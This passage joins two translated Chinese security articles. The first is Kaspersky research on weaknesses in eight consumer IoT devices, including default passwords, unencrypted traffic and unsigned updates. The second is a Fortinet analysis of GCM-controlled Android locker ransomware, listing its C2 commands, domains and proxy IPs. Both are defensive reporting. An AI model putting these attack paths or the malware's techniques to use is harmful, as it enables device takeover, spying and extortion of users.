Monday，也叫剁手星期一）都是大家疯狂购物的节日。厂商会将大量各类产品推广到市场中，其中也包括许多新潮的联网设备，他们保证这些设备可以让广大群众的生活更加轻松、快乐以及舒适。作为卡巴斯基实验室中的一员，我们与世界上其他人一样，也属于狂热的剁手一族，但即使在大促销时节，我们依然关注的是物联网（Internet
of Things， IoT）设备。设想一下，如果我们购买了一台咖啡机，但这台咖啡机会将我们家庭或公司的Wi-Fi密码透露给匿名黑客，或者我们使用了某台[婴儿监视器](http://www.independent.co.uk/life-style/gadgets-and-tech/news/baby-monitors-hacked-parents-warned-to-be-vigilant-after-voices-heard-coming-from-speakers-a6843346.html)，但这款设备会将家庭日常活动在线直播给你不想分享的某个人，这些情况肯定不会那么有趣。
目前的IoT安全性与理想状态还有很大一段距离，购买这些设备时，你可能是为自家房屋购买了一款数字后门。因此，今年在准备剁手IoT设备时，我们可以先问自己一个问题：购买一台绝对安全的物联网设备的概率到底有多高？为了找到这个问题的答案，我们做了个小实验：我们随机挑选了几款物联网设备，并对这些设备的安全性做了检查。我们的调查并没有特别深入，如果你大概了解一些安全知识，你一眼就能看出来某款设备的安全性。根据实验结果，我们找到了一些相当严重的安全问题，也找到了几个不那么严重且无关紧要的问题。
这个实验中，我们研究了如下几个物联网设备：智能电池充电器、应用控制的玩具车、应用控制的智能体重秤、智能吸尘器、智能熨斗、IP摄像头、智能手表以及智能家庭中心。
## 二、智能充电器
我们检查的第一款设备是一款智能充电器，这款充电器内置Wi-Fi连接功能。你可能会问一个问题：谁会需要一个可以远程控制的电池充电器，特别是这款充电器需要用户来手动设置需要充电的电池呢？不论如何，这种设备的确存在，而且除了给电池正常充电外，你还可以控制充电的方式。
我们使用各种类型的电池来测试该设备的充电和放电功能，这类电池的标称电压从3到12伏不等。这款设备带有Wi-Fi模块，用户可以远程连接该设备并控制充电过程、修改充电设置、随时检查电池当前电量。
设备启动后会自动切换到“访问点（access
point）”模式，随后用户可以连接该设备，打开管理接口Web页面。充电器使用过时且易受攻击的WEP加密方式来提供无线访问功能，并没有使用WPA2加密方式。虽然设备的WiFi连接经过密码保护，但默认密码为“11111”，你可以在设备附带的官方文档中找到这个密码，你也可以在网上搜到这个密码。然而，用户可以将该密码改成更加安全的密码。话虽如此，出于某种原因，设备将密码长度限制为5个字符。基于这些信息，我们只需要四分钟就能[破解](https://password.kaspersky.com/in/)设备当前使用的密码。此外，设备所提供的Web接口并没有采用任何密码保护机制。一旦该设备连入家庭Wi-Fi网络，任何人都可以访问该页面。
你可能会问，有谁会那么无聊去攻击一款智能充电器？你的猜测可能是对的，因为世界上很少有黑客会花时间专门做这种事情，特别是这种攻击要求攻击者处在Wi-Fi信号范围内，或者能够访问用户的Wi-Fi路由器（这个问题可能更加棘手）。另一方面，只有恶趣味的人才想去干扰电池的充电方式，或者随机切换充电过程参数。实际环境中，这种漏洞可能会导致电池发热着火或者破坏电池正常功能，具体后果取决于所使用的电池型号，攻击者可能出于趣味性或者想证明自己实力就肆意发起这种攻击。
总结一下：使用这种设备时，通常情况下你并不会面临远程网络攻击的危险。然而，如果你的电池在充电过程中着火，这种现象可能表示你的邻居中隐藏着一名黑客，此时你需要修改设备所使用的密码。这种现象也可能是远程黑客的劳动成果，表明你的Wi-Fi路由器需要更新固件，或者需要修改密码。
## 三、智能应用控制的无线间谍玩具车
当有些人追求的有实际意义的IoT功能时，其他人追求的是娱乐性和趣味性。毕竟每个人在年轻时都想拥有属于自己的间谍工具。此时，一款智能应用控制的无线间谍玩具车应该就能实现许多人的这一梦想。
这款智能设备实际上是装有轮子的间谍相机，用户可以通过Wi-Fi连接这款设备，通过应用程序控制设备行为。我们可以在玩具店中看到这款设备的身影，而Wi-Fi是该设备的唯一连接接口。官方在iOS以及Android上提供了两款管理应用。我们猜测设备所使用的Wi-Fi连接可能存在一些脆弱性，并且实验证实我们的猜测准确无误。
这款设备能够执行如下命令：
1、四处移动（带有多种驾驶模式，可以控制速度及方向）；
2、在移动过程中，通过导航摄像头查看图像，以便给车子导航；
3、查看主摄像头的图像，用户可以旋转改变主摄像头的方向（该摄像头还带有夜视模式）；
4、录制照片及视频，保存在手机内存中；
5、通过内置扬声器远程播放音频。
设备一旦连接到手机，就成为没有密码保护的一个Wi-Fi接入点。换句话说，只要连接到这款设备，任何人都可以发送远程命令，只需要知道可以发送哪些命令即可。当你发现儿童玩具具备间谍功能，并且该玩具缺乏密码保护时，考虑到安全性，你想设置一个密码，然而你会发现这款设备根本不提供这种功能。如果你在笔记本上安装了基本的网络嗅探软件，你想知道玩具车当前正在拍摄的内容，那么你可以拦截车辆与控制设备之间的通信数据，轻松做到这一点。
也就是说，远程攻击者无法实施攻击，只有在该玩具启用Wi-Fi功能后，攻击者才能在玩具的Wi-Fi信号覆盖范围内实施攻击。但另一方面，你无法阻止攻击者在被动模式下监听你的流量，准确捕获设备的使用时机。因此，如果最近你发现自己家附近有人在使用Wi-Fi天线，那么这些人很可能对你的私生活感兴趣，并且他们也具备偷窥你隐私的能力。
## 四、带有摄像头的智能扫地机器人
说到身边带有摄像头的设备时，我们也花了点时间调查为什么智能吸尘器需要搭载网络摄像头，难道这种设备需要使用摄像头来拍摄灰尘，或者探索令人兴奋的床底世界？开个玩笑而已，这种功能专为清洁爱好人士准备：如果你觉得手动控制吸尘器的同时还能检查吸尘器的具体工作是一件非常酷的事情，那么这就是你在寻找的那个产品。当然，你需要记住，这款设备并不是那么安全。
你可以通过特定的应用程序来管理这款设备：你可以控制吸尘器的移动方向、在打扫时观看实时视频、拍摄照片等等。视频流结束后视频也随着消失不见，但照片留在了应用中。
用户可以用两种方法通过Wi-Fi连接设备：
1、将吸尘器作为访问点加以使用。如果家中没有Wi-Fi网络，这款设备自己就可以提供连接功能。你可以通过移动应用连接到吸尘器，然后开始劳作。
2、将吸尘器作为Wi-Fi适配器，连接到已有的访问点中。通过访问点模式连接设备后，你可以将该设备连入家庭Wi-Fi网络，使连接更加稳定，延伸操作半径。
由于用户通过手机应用管理这款设备，因此用户首先需要通过某种授权认证机制。有趣的是，用户只需要输入默认的弱口令就能通过验证。因此，攻击者只需要连入吸尘器的访问点，在应用中输入默认密码来配对手机及吸尘器。配对完成后，攻击者就可以控制这款设备。此外，连入本地网络后，本地网络中就能看到这款扫地机器人，任何人只要连入同一个网络，都可以通过telnet协议来使用这款设备。虽然设备连接经过密码保护，并且用户可以修改默认密码（实际生活中很少有人会这么做），但设备并不具备防护暴力破解的功能。
此外，虽然应用及设备之间的流量经过加密处理，但密钥硬编码在应用中。对这款设备的检查工作仍在进行中，还有许多地方尚未澄清，但第三方可以从Google
Play上下载这款应用，找到硬编码的密钥，在中间人（Man-in-the-Middle）攻击场景中使用该密钥攻击设备使用的通信协议。
当然，与其他Android应用控制的联网设备一样，扫地机器人也面临root型恶意软件的风险：获取最高用户权限后，攻击者可以通过设备摄像头获取信息。在研究过程中，我们也注意到这款设备本身运行的是一个非常过时的Linux操作系统，这种系统没有打上许多补丁，可能导致设备受到其他类型攻击的影响。然而，这一点并不是我们这次研究的内容。
## 五、智能摄像头
IP摄像头是IoT黑客最喜欢的设备。从历史上看，除了非常明显的未授权窥探之外，这种设备还可以用来发起破坏性[DDoS攻击](https://securelist.com/newish-mirai-spreader-poses-new-risks/77621/)。不出所料，今天生产这种设备的厂商几乎都是黑客的攻击目标。
2015年，我们想评估当时消费行业中IoT设备的安全状态，当时我们研究的是一款婴儿监视器；今年我们关注的是另一种类型的摄像头：用于外部监控的摄像头。比如，你可以在院子里安置这种摄像头，以防邻居偷摘你的苹果树。
刚开始时，由于厂商忽视安全问题，来自同一厂商的这种设备及相关设备的安全性得不到保障。但在2016年时，许多研究人员公布了大量研究成果[[1]](http://www.bbc.com/news/technology-34138480)[[2]](https://ipvm.com/reports/ip-cameras-default-passwords-directory)，使公众了解到这类摄像头存在未授权访问问题，从此时起这类摄像头的保护问题得以大大缓解。
在此之前，这个厂商出售的所有摄像头都带有默认出厂账户及默认密码“12345”。当然，用户一般不会修改这个密码。2016年，在安全问题方面该厂商成为了行业翘楚，因此他们开始供应处于“未激活”模式下的摄像头。在激活以前，用户无法使用摄像头。激活过程中用户需要创建密码，设置网络参数。此外，设备会检查密码是否满足基本的复杂度要求（长度、字符种类、包含数字及特殊字符）。用户可以通过本地网络，使用任何主机访问摄像头，完成激活操作。
经过这种改动，带有默认密码的摄像头更新固件后，会要求用户更改密码，并且每次连接时都会警告用户存在安全风险。设备使用的密码强度很高，如下所示：
此外，厂商也能够防护暴力破解密码攻击：
此外，在2016年，厂商还在固件中添加了一个新的功能。当某个IP连续5到7次输错密码时，设备就会阻止该IP，防止暴力破解攻击。锁定状态30分钟后会自动取消。这种功能默认启用，可以显著提高安全性。
尽管如此，这款摄像头并非尽善尽美。比如，摄像头与云端的数据交互使用HTTP协议，其中将摄像头的序列号作为ID来使用。这种方式导致设备容易受到中间人攻击影响。
除了标准的WEB界面之外，设备还提供了专门的配置工具，可以用来搜索网络中的摄像头、显示摄像头上的数据、执行基本设置操作（如激活、修改密码、重置网络设置的密码）。当搜索设备时，PC端会发送一个以太网帧。
摄像头的响应数据未经加密，包含产品型号信息，如固件信息、重置日期以及网络设置信息等。由于这个数据以非加密方式进行传输，并且请求动作不需要授权，因此一个以太网报文就能检测到网络中的所有摄像头，获取这些摄像头的详细信息。算法还有另一个脆弱性：当设备生成响应数据时并没有考虑时间延迟因素。因此，攻击者很容易在网络中发起DDoS攻击，将这种请求报文发给以太网中的所有摄像头。
除了上面描述的这种协议之外，该摄像头还支持标准的SSDP协议以发送通知信息，任何软件或者硬件可通过这种协议自动探测到这类摄像头。SSDP数据中也包含与摄像头有关的信息，如产品型号及序列号。
另一个攻击点是远程密码重置，厂商通过技术支持服务提供远程密码重置功能。只要接入摄像头网络中，任何人都可以通过摄像头专用配置工具选择目标摄像头，发起密码重置请求。这一过程会生成包含摄像头序列号的一个小文件。用户可以将该文件发送给技术支持服务，技术支持服务可能会拒绝重置请求，或者发送一个特定的代码以便用户输入新密码。有趣的是，该服务并不会检查用户是否是摄像头的所有者，因为室外监控场景最初的假设就是摄像头位于遥不可及的位置，想远程识别请求发起者基本上是一件不可能完成的任务。在这种场景下，内部的网络犯罪攻击是最可能的攻击行为。
总结一下：就网络安全而言，这款设备并不是最糟糕的一款设备；然而，这款设备还是存在一些细枝末节的安全问题，可能会被攻击者加以利用。
## 六、智能浴室体重秤
想象一个场景：智能体重秤被攻击后，如果受害者不支付赎金，攻击者就威胁会在线公布受害者体重指数。当然这只是一个玩笑而已，但我们的研究表明这种攻击场景依然存在可能性。
我们的研究对象是一款智能设备，手机应用可以通过蓝牙与其交互，但该设备也搭载了Wi-Fi模块。这种连接方式可以给用户提供许多附加功能，比如可以通过密码保护的私有网站来监测体重指标，也可以分析身体数据，也能与各种医疗保健应用相集成。有趣的是，Wi-Fi唯一能提供的功能就是接收天气更新信息。
我们决定在LAN中，使用ARP欺骗方法，配合中间人攻击来测试是否能够在这款设备上任意更新固件或者安装软件。我们的研究结果如下文所述。
手机通过HTTPS方式与主服务器交互，执行一系列查询操作。体重秤本身通过蓝牙方式与手机连接。配对过程非常简单：用户通过应用程序发起连接请求，然后再打开体重秤的蓝牙连接即可。由于配对过程时间非常有限，因此攻击者很难在不引起用户注意的情况下完成设备匹配操作。
除此之外，设备通过蓝牙来传输与用户有关的各种数据，如通知邮件、体重指标等。设备通过应用程序接收更新，应用程序将更新文件的当前版本信息及其他一些参数发送给服务器，而服务器会将某个链接发送给应用程序，该链接包含待下载的文件及文件校验和信息。
然而，更新文件通过HTTP通道进行传输，没有经过加密保护，更新文件本身也未经加密保护。因此，如果攻击者可以监听设备连接的那个网络，那么他们就可以伪造服务器响应报文，也可以伪造更新文件。
利用这个问题，我们首先就能“回滚”更新文件的版本，然后安装一个修改版的更新文件，该文件与服务器返回的更新文件有所不同。在这种场景中，攻击者可以发起更进一步的攻击，比如在设备上安装任意软件等等。
当然也有一些好消息，比如该设备没有搭载摄像头，因此即使找到其他严重漏洞，用户仍处于安全境地。除此之外，还有谁会专门花时间来攻击智能体重秤呢？其实这个问题还是有存在的可能性，我们在这一部分的开头图片中已经给出了这种攻击场景。另外，我们前面也提到过，有些黑客只是出于趣味的破解目标来攻击设备，以证实自己具备这种能力。
## 七、智能熨斗
提到智能熨斗，你肯定会说破解这种设备是非常有趣的一个过程。我们非常好奇这种设备存在的意义。分析这种设备时，我们很可能会找到一个严重的漏洞，以及相应的利用方法。然而现实并没有那么有趣。根据我们的研究结论，我们无法通过攻击智能熨斗来引燃整个房屋。然而，这款设备上还存在一些非常有趣的问题。
该设备具备蓝牙连接功能，用户可以通过移动应用远程管理各种设备选项。由于厂商一般不会在保护蓝牙通道上花费太多心思，因为他们认为攻击者并不会对智能熨斗感兴趣，因此我们假设服务器与设备之间的通信过程并不安全，某人可以借此控制设备及其敏感数据。
一旦设备连接到用户的移动手机，用户就可以通过iOS或者Android应用来控制这款智能熨斗。通过应用，用户能执行如下操作：
1、查看熨斗的方向（处于平放、直立或者挂起状态）；
2、禁用熨斗（并不支持启用熨斗，这一点非常遗憾）；
3、激活“安全模式”（在这个模式下，熨斗并不会响应机械开关动作。如果用户想在这一模式中启动熨斗，则需要在应用中关掉安全模式）。
在开关安全性方面，如果熨斗在平放静止状态中超过5秒钟，或者在直立状态下超过8分钟，那么熨斗会自动关闭。
用户也可以通过互联网来控制该熨斗。为了实现这个功能，用户需要在该设备附近设置一个网关，比如能够访问互联网的独立的智能手机或者智能平板，然后通过特定应用来控制熨斗。
基于这些信息，我们决定仔细研究该设备所使用的应用程序。这款设备对应三款应用：一个为iOS应用，其他两个为Android应用。当用户通过蓝牙来管理熨斗并且位于熨斗附近时，可以使用第一款Andorid应用；第二款Android应用承担网关功能，当用户不在家时，可以通过该应用访问熨斗。iOS应用用于蓝牙管理场景。对于这三款应用，我们想说的是厂商并没有对应用代码做任何混淆处理。
在分析在线传输的流量时，我们发现Android蓝牙应用使用的是HTTPS协议，这是一种较好的解决方案。而iOS应用或者Android网关应用并没有采用这种机制。我们决定测试iOS应用的通信流量。
上图说明：通过应用发起钓鱼攻击
运行该程序后，用户可以通过该应用在线注册，然后通过HTTP，以未加密方式发送数据。利用这一点，我们可以在本地网络中拦截移动应用以及厂商服务器之间的通信流量，在这个基础上发起攻击。
前面我们提到过，手机还可以通过BLE与智能熨斗通信。BLE流量也没有经过加密处理。进一步深入分析该应用后，我们根据设备间传输的内容，发现了可以使用的命令，通过创建这些命令，我们成功实现了对该熨斗的控制。
因此，在了解这些信息后，作为一名黑客，我们可以做哪些工作？首先，如果我们能捕捉到用户的凭据信息，那么就能通过官方应用的认证机制，关掉熨斗或者将其设置为“安全模式”。这里我们需要注意的是，这些应用可以用于该厂商的所有智能设备，并且这些设备的数量还不在少数。这大大延伸了我们的攻击面。
如果我们错过机会，无法拦截授权数据，那也不用担心。由于设备与应用之间交换的数据没有经过加密保护，你可以拦截到服务器发往应用的令牌（token）信息，然后自己创建命令发送给熨斗。
因此，本地网络中的攻击者可以执行如下攻击操作：
1、窃取用户身份信息（窃取私人邮箱地址、用户名、密码）；
2、勒索（利用用户的天真无邪，启用熨斗的“安全模式”，使得用户无法通过机械手段打开熨斗，然后要求用户支付赎金才停用熨斗的“安全模式”）。
当然，实际环境中很难广泛使用这些攻击方法，但这种攻击场景依然存在可能性。试想一下，如果因为熨斗本身安全性不佳，而不是因为复杂攻击行为导致你的私人信息被窃取，那么这是多么尴尬的一件事情。
## 八、智能家庭中心
目前大部分智能连接设备存在的最大问题是，它们基本上都是作为一个独立的设备来与智能手机协同工作，并没有集成到一个更大的智能生态系统中。智能中心（smart
hub）部分解决了这个问题，该中心将多个节点联结在一处，不同智能设备之间可在此交换数据。虽然其他研究人员在寻找安全的智能中心方面已经做了许多研究，研究表明用户很难找到足够安全的智能中心，但我们仍然尝试了各种方法。我们的研究对象是带触摸屏幕的一款优质智能中心，能够在不同的物联网协议下工作。该设备的兼容性很好，能够与ZigBee和ZWave家庭自动化标准兼容，并且使用起来非常方便。根据厂商的描述，只需三分钟，用户就能通过触摸屏完成该设备的参数设置。
另外，该智能中心还可用作无线Wi-Fi路由器。
这款多功能设备支持各种功能（可作为路由器、范围扩展器、接入点或无线网桥），我们决定检测其中最常见也最为危险的一种安全风险，即未经授权从外部接入路由器。这种风险危害很大，一旦攻击成功，攻击者很可能会获取对用户智能家居及所有连接设备的完全控制权。
不出所料，实验表明该设备的确存在这种安全风险。
为了验证这个猜想，我们搭建了一个本地局域网，将一台个人电脑、智能设备和一个路由器连接在一起。这些网络设备都有各自的IP地址，我们成功扫描出可用的端口情况。最初的研究表明，默认情况下，设备在WAN上开放了两个端口。第一个为80端口，该端口是HTTP协议的常用端口。在Web应用场景中，服务器会使用该端口与客户端交互，以发送或接收HTML页面或者数据。如果80端口处于开放状态，则意味着任何用户都能够连接80端口，通过HTTP协议访问用户设备。
第二个为22端口，用户通过该端口与SSH（Secure
Shell）服务器通信来远程控制设备。如果攻击者能够获取或成功爆破root账户密码，就可以获取对设备的控制权，但通常情况下很难做到这一点。然而在研究过程中，我们发现智能中心中存在一个有趣的安全风险，能够使这种攻击过程变得更加简单。
在分析路由器的过程中，我们发现它可能存在一种非常常见的威胁风险，即为弱口令生成问题。在路由器系统中，我们发现了名为“rname”的一个ELF（Executable
and Linkable
Format，可执行和可链接格式）文件，其中包含一份名称列表。查看这份列表并对比屏幕上显示的密码，我们很容易可以发现，设备的密码会根据这份列表来生成。因此，攻击者不需要花费太长时间就能爆破出正确的口令。
经过硬件重置后，设备的口令有所变化（几个符号略有变化）。然而，主要的密码生成机制并没有改变，因此攻击者还是有可能能生成正确的密码。
此外我们发现，用户经常使用root账户来访问设备。因此，攻击者足以掌握登录用户名及基本的密码生成信息，这些信息可以给攻击者带来极大的便利。
如果该设备拥有公共IP地址，并且上述端口处于对外开放状态，那么大家都可以通过互联网从外部访问该路由器。另一种情况下，如果服务商或者ISP（Internet
Service Provider，互联网服务提供商）没有正确配置本地网络中相邻主机的可见状态，那么同一ISP内的整个本地网络都可以访问这些设备。
总的来说，与市场上的其他智能中心一样，这款优质设备依然暴露了非常严重的问题，这是入侵者喜闻乐见的攻击面，对此我们已见惯不怪。这个攻击面不仅覆盖了设备本身，而且还涵盖了其所在的整个网络环境。接下来是这次实验的总结部分。
## 九、总结
根据实验观察结果，我们发现IoT设备厂商在研发产品时都会假设如下前提条件：
1、由于设备功能有限，即使设备被成功攻击也不会造成严重后果，因此这类设备不会被攻击；
2、当设备不能通过简单的方法来与外部互联网联系，并且攻击者需要连入设备所在的本地网络才能实施攻击时，厂商会认为这种IoT设备的安全等级处于可以接受的范围。
我们必须承认的是，这些假设具有一定的合理性，但如果这一网络中的路由器或者多功能智能中心存在漏洞时（如我们前面提到的那款智能中心设备），连接到该节点的所有其他设备都暴露在攻击范围内，此时这种假设就无从谈起。从这时起，无论安全问题轻重与否，其他所有设备都会受到安全威胁干扰。设想一下，如果一栋房屋、公寓或者办公室同时装有所有这些设备，当某人尝试使用本文描述的这些攻击方法时，这是多么可怕的一种场景。
这个攻击场景如下所示（从上到下，从左到右说明）：
1、 **搭载摄像头的智能扫地机器人**
：由于厂商在安全方面警觉性较低，任何人都可以连接并访问这款设备，指引该设备在不同房间内移动，通过设备摄像头拍摄照片、录制视频。
2、 **智能熨斗** ：iOS应用收到及传输的数据没有经过加密或保护处理，攻击者可以利用这些数据给用户带来安全危害（如窃取身份信息、实施欺诈攻击等）。
3、 **智能应用控制的无线间谍玩具车**
：由于设备缺乏密码保护，连入该设备网络的任何用户都可以向设备发送远程命令，在主人驾驶玩具车的同时，利用摄像头悄悄监视周围情况。
4、 **智能充电器** ：充电器使用了默认密码，犯罪分子无需攻击网络环境，就可以利用该密码控制设备，损坏电池并破坏充电过程。
因此，回到本文开头我们自己提出的那个问题，此时我们可以给出一个结论，那就是根据我们的研究成果，我们认为现在想找到一个完全安全的物联网设备还是非常困难的一件事情。
另一方面，不论你购买的是哪一款产品，这种产品很可能不会给你带来非常严重的安全问题，但如果你将其连接到存在漏洞的路由器或者智能中心上时，情况就没那么乐观。
得到这个结论后，联想目前仍处于销售旺季时节，我们想跟大家分享在物联网设备选购方面的一些建议：
1、当选购设备，提升自己生活的智能水平时，用户需要将安全因素考虑在内。在购买搭载摄像头的扫地机器人或者智能熨斗时，你需要三思而后行，确认自己是否需要这些功能，因为它们可能会将你的个人数据泄露给未知的第三方。
2、在购买IoT设备之前，可以先在互联网上找找设备是否存在漏洞的相关新闻。物联网现在是一个非常热门的话题，许多研究人员在寻找物联网设备安全问题方面做得非常出色，他们的研究对象包括各种物联网设备：从婴儿监视器到应用控制的[来复枪](https://www.blackhat.com/docs/us-15/materials/us-15-Sandvik-When-IoT-Attacks-Hacking-A-Linux-Powered-Rifle.pdf)等，不一而足。你想购买的那款产品可能已经被安全人员检查过，你可以上网找找该设备存在的漏洞是否已被修复。
3、购买市场上最新推出的产品并不一定是个好的选择。新的产品中可能带有以前常见的漏洞，并且最新推出的设备可能还包含安全研究人员尚未发现的安全问题。对消费者来说，最好的选择是购买已经多次更新过软件的那些产品。
4、为了弥补来智能设备带来的网络安全问题，卡巴斯基实验室发布了针对智能家居以及物联网的安全解决方案：[卡巴斯基IoT扫描器（Kaspersky IoT
Scanner）测试版](https://play.google.com/store/apps/details?id=com.kaspersky.iot.scanner&hl=ru)。这是一款免费的Anroid应用，可以扫描家庭Wi-Fi网络，提示用户连接家庭网络的设备以及这些设备的安全等级。
对于IoT设备厂商而言，我们的建议非常简单：在研发新设备及更新老产品时，请积极与安全厂商及安全社区合作。
## 十、题外话：八分之一的概率
在我们的实验过程中，我们发现了一款设备，对我们而言这款设备的安全性足以满足我们要求，至少该设备不会导致私人数据泄露或其他破坏性后果。这是一款智能手表。与其他大多数物联网设备类似，用户需要通过应用才能完成设备与智能手机的配对及使用过程。在实验过程中，我们发现设备与智能手机之间、应用与厂商云服务之间的交互数据大多都经过可靠的加密处理，如果不深入研究加密协议或者厂商的云服务，我们很难在这款设备上执行恶意操作。
在配对过程中，使用者需要使用智能手表上显示的pin码，才能通过认证过程。pin码随机生成，智能手表并不会传输这个数据。在应用中输入这个pin码后，手机及手表会生成加密密钥，后续的所有通信数据都会经过该密钥加密处理。因此，即使攻击者成功完成BLE流量拦截任务，也必须解密捕获的数据包。为了解密通信数据，攻击者必须捕获加密密钥生成阶段中的通信流量。
想从该设备中直接获取用户数据（如步数、心率等）显然是不可能完成的任务。手表与手机之间的同步数据也经过加密处理，发往服务器的数据也采用相同方式处理。因此，我们无法解密手机上存放的数据，也无法了解使用的加密算法及加密密钥。
从我们的视角来看，我们认为厂商对这款产品真正负起了责任，可以成为一个典型的模范。因为默认情况下，厂商可以假设没有人会去攻击他们生产的智能手表，即便攻击成功，也不会带来严重的后果，根据这些假设，厂商可以降低他们在安全方面的投入。这种假设有一定道理，因为很难想象攻击者会千方百计去窃取用户每天的行走步数信息，或者窃取用户每时每刻的心跳速率。尽管如此，厂商仍然尽心尽力，消除这类微不足道的可能性。这一点非常好，因为网络安全并不等同于对产品中某些漏洞的修复过程，修复过程非常烦人，需要付出的代价也非常昂贵，我们认为网络安全是物联网产品中非常重要并且极具价值的一个特性，这个特性与设备的可用性、设计理念以及设备功能处于同等地位。我们相信，只要IoT厂商能清楚认识到这一点，整个互联生态系统就会比现有状态更为安全。 | 社区文章 |
# 【木马分析】解密使用谷歌云消息服务的Android锁屏恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<http://blog.fortinet.com/2017/01/16/android-locker-malware-uses-google-cloud-messaging-service>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **shinpachi8**
****](http://bobao.360.cn/member/contribute?uid=2812295712)
**预估稿费：200RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
上个月，我们发现了一个新的Android锁屏恶意软件，它会启动勒索软件，在设备上显示锁定屏幕，并勒索用户提交他们的银行卡信息以解锁设备。
这个勒索软件变种的有趣的变化是，它利用谷歌云消息（GCM）平台，推送通知服务，发送消息到注册的客户端，作为其C2基础设施的一部分。
它还在受感染设备和C2服务器之间的通信中使用AES加密。 在这个博客中，我们对这个恶意软件做了详细的分析。
**恶意软件快速浏览**
用户启动受感染的应用程序后，它会请求设备管理员权限，如下所示。
一旦用户授予管理员权限， 恶意软件的显示以下屏幕截图。
锁定屏幕如下所示。它要求用户的赎金高达545000Rub （约9000美元）用于解锁设备。
**恶意软件如何工作**
以下是有关此恶意软件变体如何工作的详细技术分析。以下是恶意软件开始启动时使用的关键代码段。
接下来，我们分析了这三个关键类。
**1.Jfldnam Class**
这是用于GCM注册的服务类。关键代码段如下所示。
通过我们的分析，类“Yzawsu”是类“GCMRegistrar”。您可以参考<https://chromium.googlesource.com/android_tools/+/master/sdk/extras/google/gcm/gcm-client/src/com/google/android/gcm/GCMRegistrar.java>
它用于GCM注册，v8.efjmaqtnlsph()返回sender_id。
AndroidManifest文件中的GCM广播接收器声明如下所示。
在AndroidManifest文件中有三个服务声明。
类kbin.zqn.smv.Ewhtolr是GCM服务类。以下是Ewhtolr类的代码片段
在子类Hkpvqnb中，以下代码用于处理与GCM相关的intent的操作。
如果操作等于“com.google.android.c2dm.intent.REGISTRATION”，则表示GCM注册已成功。
恶意软件处理来自GCM服务器的响应。
函数xmrenoslft如下所示。它将registration_id存储在本地存储中。
registration_id存储在com.google.android.gcm.xml中。
在GCM注册成功后，恶意软件将RegId发送到C2服务器。
从上面的图中，我们可以看到恶意软件使用AES加密存储reg_id的json数据，然后将加密的数据发送到其C2服务器。
这里，我们修改了原来的加密的类名和函数名，以便于理解。 捕获的流量如下所示。
http请求正文中的原始json数据如下所示。
http响应中的解密数据如下所示。
**2.locker类**
用来获得设备的管理员权限
**3.Omnpivk 类**
这用于显示要求用户提交其信用卡信息以解锁设备的锁屏信息。 Omnpivk类的代码段如下所示。
锁定屏幕从资产文件夹加载。它看起来像这样。
以下是Google翻译翻译的英文版本。
一旦设备被此恶意软件锁定，锁定屏幕将覆盖在系统窗口的顶部。 在提供银行卡信息之前，用户无法在设备上执行任何操作。
一旦用户输入其信用卡信息，恶意软件将其发送到C2服务器。 捕获的流量如下所示。
HTTP post请求和响应中的数据都使用AES加密。解密后的请求的主体数据如下所示。
解密的响应如下所示。
总而言之，下图说明了恶意软件的工作原理，以及从恶意软件执行的C2服务器发送命令的过程。
**C2服务器通过GCM发送命令**
C2服务器首先通过HTTP或XMPP向GCM服务器发送命令，然后GCM服务器将命令推送到受感染的设备。
在上面的部分中，我们显示GCM服务类Ewhtolr用于与GCM服务器通信。
一旦它从GCM服务器收到命令，它调用类Auepniow中的函数cibuwlvohd。 类Auepniow用于处理从C2服务器传递的命令。
这些命令也使用AES加密。
命令列表如下所示。
message_delivered：消息已成功传递到C2服务器。
gcm_register_ok：gcm注册成功。
add_msg_ok：添加一些新手机和msg发送短信。
register_ok：更新http代理列表和用于在本地数据库中发送SMS的模式。
UPDATE_PATTERNS：将更新的信息，包括imei，国家，运营商，电话号码，模型等发送到C2服务器。
URL：更新c2服务器，然后将设备信息发送到新的C2服务器。
STOP：停止GCM服务。
START：启动GCM服务。
UNBLOCK：解除阻塞设备。
MESSAGE：将短信发送到自定义电话。
RESTART：重新启动GCM服务。
PAGE：从URL请求新页面并将响应发送到C2服务器。
CONTACTS：添加新的联系人电话和发送短信测试给他们。
CHANGE_GCM_ID：改变新的sender_id并用新的寄存器GCM注册GCM。
LOCKER_UPDATE：尝试得到一个消息到locker。
LOCKER_BLOCK：启动设备管理锁。
LOCKER_UNBLOCK：释放设备管理锁。
ALLCONTACTS：获取所有联系人号码，并将联系人列表发送到C2服务器。
ALLMSG：获取所有SMS消息并发送到C2服务器。
LOCKER：接收新的锁屏屏幕网页并在设备上显示叠加层。
NEWMSG：在SMS收件箱中添加新消息。
ONLINE：将设备的当前状态发送到C2服务器，包括管理员，锁定，群组，网络类型的状态。
UPDATE：更新新的恶意软件版本或其他恶意应用程序，并将其安装在设备上。
CONTACTS_PRO：获取有效的联系人电话号码，并将其发送到C2服务器。
其复杂的设计包含20多个命令。我们选择命令“UPDATE”来执行进一步的分析。 以下是一个关键的代码片段。
类uijevngswhml的定义如下所示。
我们可以看到恶意软件启动http请求以获取更新的apk，并将其存储在/ sdcard / Download文件夹中。 然后在设备上安装apk。
apk可能是恶意软件或其他恶意应用程序的新版本。 我们一直在监控它。
**C2服务器和代理列表**
恶意软件不会以纯文本格式编码C2服务器的URL。相反，它使用AES加密C2服务器的url。以下是与C2服务器相关的关键代码。
未加密的网址如下所示。
hxxp://streamout.space
但真正的C2服务器是“streamout.space”的子域。以下代码用于生成实际的C2服务器进行通信。
它生成“streamout.space”的动态子域。以下是我们找到的域的部分列表。
stkru[.]streamout[.]space
jfyds[.]streamout[.]space
dgywz[.]streamout[.]space
moazn[.]streamout[.]space
wjrxf[.]streamout[.]space
ykarbm[.]streamout[.]space
ucgeh[.]streamout[.]space
同时，我们还发现一些代理IP被恶意软件硬编码。以下是一段代码片段。
解密的数据如下所示。
["193.124.44.118:7777","194.58.100.175:7777","37.140.198.185:7777"]
代理列表也通过命令“register_ok”更新。似乎恶意软件不使用代理列表与其C2服务器通信，但它很可能使用它来与未来变体中的C2服务器通信 。
我们将继续监控此恶意软件系列。 流量如下所示。
http post请求中的解密数据如下所示。
http响应中的解密数据如下所示。
**本地 SQLite 数据库**
恶意软件使用SQLite数据库来存储一些关键信息。以下代码用于在数据库中创建两个表。
我们从设备导出数据库文件，并用SQLite Expert Professional打开它。
然后我们使用附录中的解密程序解密数据库中的这些字段，如下所示。
